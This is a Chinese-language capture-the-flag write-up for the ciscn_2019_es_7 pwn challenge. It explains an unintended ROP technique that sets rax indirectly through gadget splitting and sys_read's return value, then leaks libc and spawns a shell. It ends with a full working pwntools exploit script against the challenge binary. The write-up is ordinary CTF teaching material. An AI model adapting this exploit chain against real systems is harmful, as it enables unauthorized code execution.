ciscn_2019_es_7 Writeup

题目背景

明天就是*CTF啦,加油加油 这道题是国赛的一道题,预期解是利用SROP来操作,但是我这里要说一说我的非预期解的操作方法。记录了这种构造ROP的方法,可以用来间接控制rax的值,从而进行下一步ret2syscall。

题目情况

题目是x64架构的栈溢出,但是由于输出和输入都是使用syscall,以至于题目的got表里面没有什么能用来输入输出的,我们唯一的方法就是利用syscall。

这道题的汇编代码行数特别少,所以直接来看汇编吧。

图片

其实可以很明显的看出来这个vuln函数是被出题人魔改过的,函数中的后半部分,也就是

1
2
pop rbp
retn

这两行直接被前面的retn所中断了,这也就导致我们本来存在的栈溢出中的rbp那部分的内容,不需要了,直接溢出就可以溢出到rip。 所以我们只要填充0x10个数据,接下来的8个字节就可以控制到程序执行。

解题思路

刚开始的思路认为可以复用程序流程末尾处的mov rax, 1,结果发现在执行完syscall之后,rax变成了0x30(也就是sys_write输出的字节长度)

图片

所以如果我们要想办法leak libc,那么就需要尝试修改rax为1来ret2syscall来调用sys_read。

于是我就寻找可以操作rax的各种gadget,这里使用的是ropper。

但是看了各种各样的gadget,发现没有任何一个可以直接对rax进行赋值的,只有间接操作的。

不过通过我的思考想到了如何把rax改成0来调用sys_write

图片

发现在0x4004DA处有一个mov rax,0Fh,但是这似乎并不能对我们的利用起到什么作用,但是这个gadget结合下面的就有大作用了。

另一个gadget就在我们熟悉的位置vuln

图片

但是这个位置不能直接利用,但是我们如果拆分一下的话,让IDA从0x400512开是解析,就会发现变成了另一个gadget

图片

没错,新的gadget对al进行了一个and操作,而结合我们前面把rax赋值为0xF,and之后的值就变成了0,这样就成为了一个合格的sys_read,而且rsi(写入的位置)的gadget也是存在的(ret2csu)

图片

所以这么一来,我们就有了一个任意写的操作。但是这并没有什么用处,我们真正需要的一个是一个leak操作。

经过调试之后发现,sys_read的返回值存放在rax里面,而返回值的内容就是写入的字节数,所以,如果我们可以控制写入的字节数为一个字节,那么我们就可以利用sys_read来控制rax = 1(sys_write),这样就可以通过sys_write来leak了。

接下来就是常规操作,leak之后通过system(‘bin/sh’);来getshell

EXP

话不多说,其他细节可以参考EXP的内容。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
r = process('./ciscn_2019_es_7')
#r = remote('node3.buuoj.cn', 28817)
elf = ELF('./ciscn_2019_es_7')
context.log_level = "debug"
pop_rsi_r15_addr = 0x00000000004005a1
mov_eaxf_addr = 0x4004db
and_al_addr = 0x400512
main_addr = 0x00000000004004F1
syscall_addr = 0x0000000000400517
pop_rdi_addr = 0x00000000004005a3
gdb.attach(r, "b *0x0000000000400519")
payload = 'a' * 0x10 + p64(pop_rsi_r15_addr) + p64(elf.bss()) + p64(0) + p64(mov_eaxf_addr) + p64(and_al_addr) # rax => 0
payload += p64(pop_rsi_r15_addr) + p64(elf.got['__libc_start_main']) + p64(0) + p64(pop_rdi_addr) + p64(1) + p64(syscall_addr) + p64(main_addr) #leak libc
r.send(payload)
r.send('\n') #1 byte
libc_start_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('__libc_start_main', libc_start_addr)
libc_base = libc_start_addr - libc.dump('__libc_start_main')
log.success("libc_base: " + hex(libc_base))
system_addr = libc_base + libc.dump('system')
str_bin_sh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = 'a' * 0x10 + p64(pop_rdi_addr) + p64(str_bin_sh_addr) + p64(system_addr)
r.send(payload2)
r.interactive()
0%